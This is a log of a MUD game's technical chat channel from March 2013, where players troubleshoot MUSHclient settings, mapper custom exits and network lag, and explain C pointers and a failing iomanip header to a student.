T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vonliege Tech: didn't know that, JHav
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: yeah. that would work...   same as swho 12 perdition doesn't echo to command bar when i hit numpad-5
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: what you're describing is EXACTLY what i use, but i use <enter> and my keypad for quaff
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: Try it.  Attack something, use an attack skill without a name on it.  It still works :)
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: And I've likely just simplified your life enormously.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: go to the game -> configure -> commands (i think) -> keep command in whatever...
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Ok, here's my Mushclient wish: Can I set control-U to empty my input buffer, since I'm so used to using that in terminal windows?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vonliege Tech: thanks, scars.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: hope it helps :S
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: hitting backstace, or typing anything should clear the input buffer?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: metria: dunno. but you can set it that hitting esc clears the command bar
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Where's that setting, Norton?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: its in game/config/input/commands/keyboard preferences button
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: wish that was a touch higher level, but awesome
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Got it, thanks.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: thats super hepful
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: higher level, meaning not under keyboard preferences, but in the commands window
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Mushambo Tech: What would speed up my video transcoding? is that primarily CPU?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: depends... some software uses the gpu as well.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: but yes... the more cores you can throw at it, the faster the transcoding is.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: OK, I mostly got what I wanted working. Anyone interested in how I did it? I can post to Tech.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ninjato Tech: I want to set a custom exit in bast for sho'aram...mc say i wish to see the genie but there is such a delay it never works. Any suggestions?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: use wait in cexit construction
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ninjato Tech: Never used that do i hust add wait at the end or something?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: you need not too old version of MUSHclient, r1738 has it (checkversion to check version)
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ninjato Tech: Hmmm i have r1429 but it has been altered by a friend so don't want to lose any features he added. Guess i'll just leave it alone for now thanks
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: for seeing genie it will be:  mapper cexit say i wish to see the genie;;wait(5)
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ninjato Tech: ok thanks i'll see what happens
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: type mapper help exits and check whethere there is info about wait, maybe your version has it
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: anyway, are you sure that your friend altered mush, not just plugins ?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: if only plugins were altered, then install new release and copy old plugins to new release
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ninjato Tech: Not sure at all what is different and since i'm a total moron with technical stuff i try not to mess with stuff hehe
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ninjato Tech: Wheeeeeeee! Ok so first i had to type mapper cexit_wait 10 to change the delay time for the next cexit followed by the standard mc say i want to see the genie. Thanks for the pointers :)
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: no, you need wait
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: cexit_wait is exit construction wait, will not work in this case
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: you need to stay in room long enough to be transported to next room
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: so waiting is just part of cexit
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ninjato Tech: CEXIT WAIT FOR CONFIRMATION BEFORE MOVING. This should take about 10 seconds. Custom Exit CONFIRMED 37818 (say i want to see the genie) -> 37819....seems to have worked to me??
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: only if you want to get to 37819
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ninjato Tech: Yeah it took longer than all my other cexits which are set at the standard 2 second delay...so when i type mc (custom exit) blah blah it sends blah blah waits 2 seconds for it to confirm success or failure?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: if you want to get to room 37819 cexit_wait is fine, because after saying you want to see gennie you won't move
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: but probably 37819 is just half-way, so that means that you will execute series of movement after getting there
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: as mapper thinks that that custom exits was immediately executed
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vakieh Tech: The painful ones are places like Umari and Kearvek, where if you aim at certain rooms you either crash through the progs or move away before they fire
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: so, cexit_wait may be good for such cexit like in knossos - when you have to execute sequence of actions to get to other part of knossos
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vakieh Tech: It is also good for LoL
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Mokg Tech: no
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: but in Knossos all actions are immediate, so this is only matter of time that mapper need to wait till you get to your destination
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vakieh Tech: Buy ticket, board, move to correct room, give ticket :-P
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: in Sho'aram mob prog takes some time, so you have wait till it fire
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ninjato Tech: Oh i just checked it and i understand you now! It's like my sendhia speedwalk i have to type it twice once to vidblain and a second to finish the walk to sendhia first room. If i want a room in the genie's lamp i have to use mr to finish the rune after arriving at the wick
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vakieh Tech: Ninjato, that works, so long as the remainder of the speedwalk runs into walls
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: where can i get a plugin that shows my mob, time place etc on gtalk?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: mushclient
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Remarto Tech: shows your what mob
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: qmob
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Remarto Tech: try bast scripts
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Remarto Tech: finger bast i think for the place to get
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: doesnt show
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Remarto Tech: yes one of them does show qmob in a minwin
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: already have the plugins only shows time i completedit
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: urm, i said gtalk
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Remarto Tech: well i guess it wouldnt be to hard...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: there was a plugin that came withmy mush but i dunno wgeres it
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: hi. I've been getting massive lag spikes on aard, even though speed test says it's 100Mbps DL speed and 8Mbps UL speed, and my browser has no lag. anyone know what could be a reason why this is happening?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: there are a lot of hops between you and aard
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: you could use axence tools (free) to monitor mean time to each node
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Isn't there a tracert or something for windows?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Remarto Tech: i think there is
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: there is, but tracert shows only single stat
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Laughing Airmeith Tech: traceroute aardmud.org, I think
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: hmm the thing is, it doesnt happen all the time... it only lags during evening/night
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: I mean, axence is more similar to mtr than traceroute
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Laughing Airmeith Tech: try ping, Cirrus, and if it's lagging, then use traceroute to find out where the lag is.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Thanks, didn't even know about that tool.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: hmm ok thanks
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: ping results were pretty bad
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I'm getting an average of 213ms.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: mine just timed out
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Laughing Airmeith Tech: then traceroute
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Laughing Airmeith Tech: and see where it is
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: hmm 13 hops
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: mtr or axence, single traceroute may pass, you may experience problems with NAT overflow
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: so you rather should check stats gathered for several minutes to see whether some nodes cause problems
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Hmm, I have 12 hops to Aard, Cirrus.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Laughing Airmeith Tech: if it's within a couple hops of you, it's local. if it's further away, it's probably a backbone router running slow
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: whoa, 8 hops are my school's
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Big jump of about 180ms to *.networklayer.com
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Why is the second jump ??? ?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Laughing Airmeith Tech: because it's lagging there
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Ah, OK.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: btw what does the 3 different timings on the same line mean?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: do*
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: my first hop shows something like this: 564ms 38ms 100ms
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: are you using some kind of wireless connection ?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: nope, it's wired
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: That looks massive. Why are you getting 564ms on your first hop :/
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: no idea :/
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: usually 1st hop is around 1 ms
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vakieh Tech: school network may have a netnanny or some such sniffing traffic?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Year 7 chinese? You got an actual Chinese curriculum there?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: Sit like a Trurien looks around and whistles innocently.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ranrr Tech: icmp goes to userspace, and isn't normally prioritized, can't make any conclusions from that
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: i doubt so. i only get this kind of lag at certain times
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vakieh Tech: or it could be a deliberate anti gaming measure?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: usually it's fine... but when it's night/evening it starts to lag :/
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vakieh Tech: oh - in that case overloaded hardware - you should tell everybody to stop streaming porn
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: do you have public or private IP ?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ranrr Tech: probably your ISP oversold its bandwidth.. common problem nowadays when everyone streams e.g. youtube and netflix
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: should be private IP
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ranrr Tech: old rules of thumb for oversubscription rates are failing
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vakieh Tech: but to get that on the first hop is to your own hardware, right?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I would have thought so, Vakieh..
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vakieh Tech: and he said school, so I am thinking shared dorm hardware
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ranrr Tech: too many users, too little bandwidth
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: nope it's not my own hardware
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vakieh Tech: not even bandwidth, if it is ping
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ranrr Tech: and no qos
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: i connect the lan cable straight to the school's network
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: rather too many connections - P2P
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vakieh Tech: it isn't your isp's, is what I'm sating
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ranrr Tech: ping are still IP packets, affected by queues
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vakieh Tech: saying*
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: it could be p2p... but the funny thing is that my torrents get blocked on school network
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: you could try using wireshark to check whether it is not switch related problem
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Ranrr Tech: tell your school IT department that they should enable qos and prioritize telnet :D
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vakieh Tech: buy a little mobile dongle - telnet will use minimal data and your ping will be much lower
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Cirrus Tech: hmm ok thanks. well sometimes i switch to tether my mobile's internet when it gets really bad
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Sit like a Trurien Tech: I have to do that at home too, sometimes.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Scars Tech: strange... at some point snd stopped searching my mapper when i request quests... any idea how to fix this?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Scars Tech: i get Alias function "map_list" not found or had a previous error.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish raises an eyebrow.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: sounds like the alias function map_list was not found or had a previous error
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Scars Tech: oh wow, really?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: Scars smiles happily.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is it found? did it have a previous error?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Scars Tech: i cannot locate it as an alias, but i think it's part of a plugin, so i don't know how i'd see it anyway
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can probably assume that your plugins didn't magically change while you were sleeping
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so find the error message
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Scars Tech: i honestly have no idea where to even look for it
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: scroll up
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: i just remove mapper and add it again
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish sighs.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Scars Tech: won't removing the mapper and adding it again cause some problems with my settings?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it would be nice to know why you experienced an error
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Scars Tech: i wish i knew why it gave me an error, and the error itself happened yesterday, and i cannot recreate it because the error i showed you is the error i keep getting
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: i had an error erlier it didnt wnted to show my mapper so i removed and added it
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Scars Tech: i SEE the mapper just fine
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: errors don't happen silently
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Scars Tech: i remember seeing the error message, i didn't think to copy it
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: next time please copy it
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: this time, reload the plugin
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ctrl+shift+p -> select the plugin -> Reinstall
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Scars Tech: mapper find is working, so i assume that when i request a quest, that thing won't error out
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: mapper find and mapper list are not the same function
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Scars Tech: i have to run... sorry for the abruptness and thanks for the help
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: in C a variable passed by reference is the same as using pointers to pass it, corret?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: correct?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: reference mean pointer
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: k. ty
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can't pass by reference in C
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Jhav Tech: You can pass a pointer.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: reference passing was introduced in C++
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Jhav Tech: References (in C++) are just sugar on top of it, really.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: not saying you guys are wrong but both my teacher and my book have yet to say anything about pointers
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: would assume you all are correct
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I always assume that I'm correct.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Remarto Tech: lol
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: you sure your not really abe?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i don't think i have ever seen you both on at the same time :P
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: he's on right now
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: touche
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Turie Tech: Fiendish is nicer and more tactful than the other..
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The River Styx Tech: thats a stretch
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The River Styx Tech: both pretty douchy
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: Remarto rapidly nods twice at The River Styx, in complete agreement.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Turie Tech: Styx: That shows that you do not know them that well.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: meh either i don't pick up on what bothers people about them or they are nice enough
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: in any event, your idea is basically correct. a pointer is, at the level you're thinking of, basically the same as a reference (ignoring various C++ features)
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: cool thanks. ever thought about teaching?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The River Styx Tech: oh god
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: tp for tuition?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: Turie has just smacked The River Styx into oblivion! RUN, before you're next!!
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: please note that this is not actually true in detail, because references are not useful for more complex features of OO. I'm just saying that for the example of passing variables into functions they have the same semantic meaning of "my data is actually being held somewhere else"
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and by "somewhere else" i mean somewhere else on the execution stack. have you learned about scope and the execution stack?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i have, First in, last out
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: you probably just had an eye twitch didnt you?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes that is a stack. I mean more specifically in the context of which functions have access to which variables, and so forth
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: no
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ah, well in the same way as you just said, first in last out, that is how functions execute. functions can call other functions and so on.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: this sounds like the C programming language's 'passing by value', and providing an address of that value when passing by reference
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: any bit of data that is dynamically constructed (and I'm going to guess here that you probably haven't learend about malloc yet, so don't worry about the other case) within a function gets deconstructed automatically when that function exits
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: this is also why global variables can be seen everywhere, because the global context doesn't go away until the program ends
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so my issue is that apparently with that last program i was supposed to know how to pass by pointer. there was 2 lines in the book about it and 2 mock programs in lecture notes. (programs don't actually show anything). no i am trying to figure out how to use it.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://www.ontko.com/pub/rayo/cs35/pointers.html
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: awesome thank you sir, i was looking at this http://boredzo.org/pointers/
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that works too, I'm sure
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: sucks working 60hrs a week, and going to school. i end up with barely enough time to hand things in
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the short of it is that there are three?four? steps to passing pointers and then using them
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: first you make some data. maybe you do "int myInteger = 4
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Doc Holliday Tech: has anyone made their own cnc mill before?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: first you make some data. maybe you do "int myInteger = 4;" or something in your function
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: then create the pointer that looks to the data's location?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: well yes, but you can skip that step by doing it implicitly
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Tech: Vorpal Vorpes twitches nervously.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: implicit derivation?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can then call another function like myFunction(&myInteger) with &myInteger as input instead of myInteger
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: from memory, (and it's shady), function(int c, int *x) will push the return address, the variable address x then the variable (contents) c, then call the function (or stor in registers in 64 bit), so function (x, &y), is the same as if y was a pointer, except it's relative to the calling function
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Dexter Tech: Amaya any good?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: where myFunction's declaration is like myFunction(int * myInteger)
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Dexter Tech: (webeditor)
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Dexter Tech: giving it probably a shot anyway
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: this is a shortcut for doing int myInteger = 4; int* myIntegerPointer = &myInteger; myFunction(myIntegerPointer)
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: i was just beginning to comprehend pointers to functions and things when i gave up teaching myself, it can e really interesting though, good hobby at least
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: anyway, if the declaration for myFunction were, let's say myFunction(int * myPassedInPointer), then inside that function you could access the data stored in myInteger above by doing *myPassedInPointer
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: & before the variable is the reference operator, and * before the variable is the dereference operator
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ok just hold on the second. on the verge of an AHHA
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: & creates a reference to the data, and * follows the reference back to the original data
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so when you *myPointer = myData it doesnt actually get passed back by the function it just writes it directly to the memory address?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: right
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: AHHH
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so you have to create the 'path' for it to write back to what you reference in the calling function or where ever it is actually needed
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ok i think i have a better grasp now. ty, i am going to hack away at this homework for a bit.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the link I posted has three very small programs that demonstrate this
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol so iomanip.h either isn't included with my compiler or something is messed up
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: gcc is the compiler i am using
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Rabshakeh Tech: does c++ destructors have anything to do with actually destroying the data from returned functions?  i never learned that language at all , but i remember that with the stack at least, not 64 bit registers, you could still reference the contents of the variables created in the returned function until overwritten
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Hanslanda Tech: destructors are just functions that are automatically called when a class is destroyed (removed from memory).  If you've ever worked with events, it's kinda the same thing.
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: gcc should have iomanip
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: are you doing #include <iomanip.h> ?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nod this is the program http://pastebin.com/GSnJfgQh
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i get: c:\cprog\ass6.c:2:21: fatal error: iomanip.h: no such file or directory
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: huh
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i guess i will reinstall the compiler
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: did the code look ok?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: people say that new versions of gcc require <iomanip> instead of <iomanip.h>
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: though that actually isn't working for me either...
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: reinstalling didn't help either
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: gcc is what the teacher specified also
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: have you installed dev libraries for c++ ?
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh I see
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: iomanip is not a C library
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's a C++ library
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so gcc won't know about it in C mode
T3/r7/2013-03-02.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's really dumb of your teacher
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Trachx Tech: IIRC there is g++ 
T3/r7/2013-03-02.txt.gz:{chan ch=tech}Zade Tech: gnu ++ ?
